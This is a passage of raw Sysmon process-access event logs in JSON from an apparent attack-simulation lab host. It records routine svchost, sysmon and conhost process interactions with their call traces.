11:52:31.356","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3702,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.356\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.356","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3703,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.356\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.356","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3704,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.356\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.356","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3705,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.356\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.356","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3706,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.356\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.356","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3707,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.356\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.356","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3708,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.356\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.356","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3709,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.356\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-0010C25A0500}\r\nTargetProcessId: 4716\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.356","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-0010C25A0500}","TargetProcessId":"4716","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 